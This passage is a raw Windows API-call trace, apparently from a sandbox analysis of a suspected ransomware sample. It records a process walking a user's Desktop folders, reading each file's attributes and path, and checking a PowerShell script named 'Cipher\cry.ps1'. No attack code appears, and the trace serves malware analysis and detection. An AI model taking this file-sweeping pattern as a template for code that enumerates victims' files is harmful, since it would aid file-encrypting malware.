lpOldMode=0x5a2e84c) returned 1 [0161.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eaac) returned 1 [0161.746] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13760980, ftCreationTime.dwHighDateTime=0x1d996da, ftLastAccessTime.dwLowDateTime=0x26a82410, ftLastAccessTime.dwHighDateTime=0x1d99c3a, ftLastWriteTime.dwLowDateTime=0x26a82410, ftLastWriteTime.dwHighDateTime=0x1d99c3a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.747] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51fb2620, ftCreationTime.dwHighDateTime=0x1d99290, ftLastAccessTime.dwLowDateTime=0x24c46360, ftLastAccessTime.dwHighDateTime=0x1d999de, ftLastWriteTime.dwLowDateTime=0x24c46360, ftLastWriteTime.dwHighDateTime=0x1d999de, nFileSizeHigh=0x0, nFileSizeLow=0x8532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BXrCK.swf", cAlternateFileName="")) returned 1 [0161.747] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d39420, ftCreationTime.dwHighDateTime=0x1d99ca4, ftLastAccessTime.dwLowDateTime=0xeb72a950, ftLastAccessTime.dwHighDateTime=0x1d99cee, ftLastWriteTime.dwLowDateTime=0xeb72a950, ftLastWriteTime.dwHighDateTime=0x1d99cee, nFileSizeHigh=0x0, nFileSizeLow=0xf56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ck5HbLC73yEMQ3T CJMx.mp3", cAlternateFileName="CK5HBL~1.MP3")) returned 1 [0161.748] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d58c90, ftCreationTime.dwHighDateTime=0x1d99b2f, ftLastAccessTime.dwLowDateTime=0xbb897a50, ftLastAccessTime.dwHighDateTime=0x1d99cf5, ftLastWriteTime.dwLowDateTime=0xbb897a50, ftLastWriteTime.dwHighDateTime=0x1d99cf5, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eq95Xs_2BMkWBb6.xls", cAlternateFileName="EQ95XS~1.XLS")) returned 1 [0161.748] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf847af10, ftCreationTime.dwHighDateTime=0x1d99d8c, ftLastAccessTime.dwLowDateTime=0xd6647f70, ftLastAccessTime.dwHighDateTime=0x1d99da7, ftLastWriteTime.dwLowDateTime=0xd6647f70, ftLastWriteTime.dwHighDateTime=0x1d99da7, nFileSizeHigh=0x0, nFileSizeLow=0xb85f, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAQM1YDYiWSzrJV Z.mkv", cAlternateFileName="YAQM1Y~1.MKV")) returned 1 [0161.749] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0161.749] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0161.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e84c) returned 1 [0161.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eaac) returned 1 [0161.749] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\BXrCK.swf" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\bxrck.swf")) returned 0x20 [0161.754] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\ck5hblc73yemq3t cjmx.mp3")) returned 0x20 [0161.754] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0161.754] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3", lpFilePart=0x0) returned 0x4b [0161.906] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e71c | out: lpPerformanceCount=0x5a2e71c*=3248642653313) returned 1 [0161.906] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0161.906] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x45 [0161.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e408) returned 1 [0161.906] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e6cc | out: lpFileInformation=0x5a2e6cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4)) returned 1 [0161.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0161.907] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0161.907] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x45 [0162.061] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e6e4 | out: lpPerformanceCount=0x5a2e6e4*=3248658124945) returned 1 [0162.312] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Ck5HbLC73yEMQ3T CJMx.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\ck5hblc73yemq3t cjmx.mp3")) returned 0x20 [0162.312] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\eq95xs_2bmkwbb6.xls")) returned 0x20 [0162.312] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0162.312] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls", lpFilePart=0x0) returned 0x46 [0162.313] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\Eq95Xs_2BMkWBb6.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\eq95xs_2bmkwbb6.xls")) returned 0x20 [0162.314] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\hfTktiwCU\\YAQM1YDYiWSzrJV Z.mkv" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\hftktiwcu\\yaqm1ydyiwszrjv z.mkv")) returned 0x20 [0162.314] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\2 kc0zg1 rmrjok_gy.png")) returned 0x20 [0162.314] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0162.314] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", lpFilePart=0x0) returned 0x3f [0162.326] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\2 kc0zg1 rmrjok_gy.png")) returned 0x20 [0162.326] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\4o6jjgbzavbwsb6-29.png")) returned 0x20 [0162.326] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0162.326] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png", lpFilePart=0x0) returned 0x3f [0162.327] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\4o6jjgbzavbWSb6-29.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\4o6jjgbzavbwsb6-29.png")) returned 0x20 [0162.327] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\5ifudwany.bmp")) returned 0x20 [0162.327] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0162.327] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", lpFilePart=0x0) returned 0x36 [0162.328] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\5ifudwany.bmp")) returned 0x20 [0162.328] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\brmtcoyplllg.jpg")) returned 0x20 [0162.328] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0162.328] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg", lpFilePart=0x0) returned 0x39 [0162.329] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BRmtCoyPLlLg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\brmtcoyplllg.jpg")) returned 0x20 [0162.329] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\btach0rv1i6gnndmi.png")) returned 0x20 [0162.329] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0162.329] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", lpFilePart=0x0) returned 0x3e [0162.329] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\btach0rv1i6gnndmi.png")) returned 0x20 [0162.330] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\jhxcnvx54s7.png")) returned 0x20 [0162.330] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0162.330] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png", lpFilePart=0x0) returned 0x38 [0162.330] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\JhXCNVX54s7.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\jhxcnvx54s7.png")) returned 0x20 [0162.331] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\ouwk.mp3")) returned 0x20 [0162.331] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0162.331] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", lpFilePart=0x0) returned 0x31 [0162.331] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\ouwk.mp3")) returned 0x20 [0162.331] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl")) returned 0x10 [0162.332] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl")) returned 0x10 [0162.332] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0162.332] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", lpFilePart=0x0) returned 0x28 [0162.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.332] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0162.332] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", lpFilePart=0x0) returned 0x28 [0162.332] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5908ed50, ftCreationTime.dwHighDateTime=0x1d98fff, ftLastAccessTime.dwLowDateTime=0x8a140950, ftLastAccessTime.dwHighDateTime=0x1d99b78, ftLastWriteTime.dwLowDateTime=0x8a140950, ftLastWriteTime.dwHighDateTime=0x1d99b78, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.332] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0162.332] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", lpFilePart=0x0) returned 0x28 [0162.333] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5908ed50, ftCreationTime.dwHighDateTime=0x1d98fff, ftLastAccessTime.dwLowDateTime=0x8a140950, ftLastAccessTime.dwHighDateTime=0x1d99b78, ftLastWriteTime.dwLowDateTime=0x8a140950, ftLastWriteTime.dwHighDateTime=0x1d99b78, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.333] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5908ed50, ftCreationTime.dwHighDateTime=0x1d98fff, ftLastAccessTime.dwLowDateTime=0x8a140950, ftLastAccessTime.dwHighDateTime=0x1d99b78, ftLastWriteTime.dwLowDateTime=0x8a140950, ftLastWriteTime.dwHighDateTime=0x1d99b78, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.333] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b8d9f30, ftCreationTime.dwHighDateTime=0x1d98de4, ftLastAccessTime.dwLowDateTime=0x9fc8dea0, ftLastAccessTime.dwHighDateTime=0x1d99cdc, ftLastWriteTime.dwLowDateTime=0x9fc8dea0, ftLastWriteTime.dwHighDateTime=0x1d99cdc, nFileSizeHigh=0x0, nFileSizeLow=0xf05a, dwReserved0=0x0, dwReserved1=0x0, cFileName="-8F.xls", cAlternateFileName="")) returned 1 [0162.333] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7f59e0, ftCreationTime.dwHighDateTime=0x1d997d0, ftLastAccessTime.dwLowDateTime=0x149e1a40, ftLastAccessTime.dwHighDateTime=0x1d99c76, ftLastWriteTime.dwLowDateTime=0x149e1a40, ftLastWriteTime.dwHighDateTime=0x1d99c76, nFileSizeHigh=0x0, nFileSizeLow=0x54ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="cDzt.ppt", cAlternateFileName="")) returned 1 [0162.334] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c3df0, ftCreationTime.dwHighDateTime=0x1d995dc, ftLastAccessTime.dwLowDateTime=0xfd0fe500, ftLastAccessTime.dwHighDateTime=0x1d99c59, ftLastWriteTime.dwLowDateTime=0xfd0fe500, ftLastWriteTime.dwHighDateTime=0x1d99c59, nFileSizeHigh=0x0, nFileSizeLow=0x2ca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EqAE8vp.flv", cAlternateFileName="")) returned 1 [0162.334] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca52cb20, ftCreationTime.dwHighDateTime=0x1d98dde, ftLastAccessTime.dwLowDateTime=0xac6b9280, ftLastAccessTime.dwHighDateTime=0x1d99b45, ftLastWriteTime.dwLowDateTime=0xac6b9280, ftLastWriteTime.dwHighDateTime=0x1d99b45, nFileSizeHigh=0x0, nFileSizeLow=0x185ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="NcD4gg.jpg", cAlternateFileName="")) returned 1 [0162.334] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3a675b0, ftCreationTime.dwHighDateTime=0x1d99d99, ftLastAccessTime.dwLowDateTime=0x2ee7c780, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0x2ee7c780, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0xde36, dwReserved0=0x0, dwReserved1=0x0, cFileName="X7aY056 0rvhbASv7.bmp", cAlternateFileName="X7AY05~1.BMP")) returned 1 [0162.334] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722ed930, ftCreationTime.dwHighDateTime=0x1d99242, ftLastAccessTime.dwLowDateTime=0x7191290, ftLastAccessTime.dwHighDateTime=0x1d993ce, ftLastWriteTime.dwLowDateTime=0x7191290, ftLastWriteTime.dwHighDateTime=0x1d993ce, nFileSizeHigh=0x0, nFileSizeLow=0x559d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ztjhWWR6z7cU6mtRPN.jpg", cAlternateFileName="ZTJHWW~1.JPG")) returned 1 [0162.334] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722ed930, ftCreationTime.dwHighDateTime=0x1d99242, ftLastAccessTime.dwLowDateTime=0x7191290, ftLastAccessTime.dwHighDateTime=0x1d993ce, ftLastWriteTime.dwLowDateTime=0x7191290, ftLastWriteTime.dwHighDateTime=0x1d993ce, nFileSizeHigh=0x0, nFileSizeLow=0x559d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ztjhWWR6z7cU6mtRPN.jpg", cAlternateFileName="ZTJHWW~1.JPG")) returned 0 [0162.334] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.334] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5908ed50, ftCreationTime.dwHighDateTime=0x1d98fff, ftLastAccessTime.dwLowDateTime=0x8a140950, ftLastAccessTime.dwHighDateTime=0x1d99b78, ftLastWriteTime.dwLowDateTime=0x8a140950, ftLastWriteTime.dwHighDateTime=0x1d99b78, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.334] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b8d9f30, ftCreationTime.dwHighDateTime=0x1d98de4, ftLastAccessTime.dwLowDateTime=0x9fc8dea0, ftLastAccessTime.dwHighDateTime=0x1d99cdc, ftLastWriteTime.dwLowDateTime=0x9fc8dea0, ftLastWriteTime.dwHighDateTime=0x1d99cdc, nFileSizeHigh=0x0, nFileSizeLow=0xf05a, dwReserved0=0x0, dwReserved1=0x0, cFileName="-8F.xls", cAlternateFileName="")) returned 1 [0162.334] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, 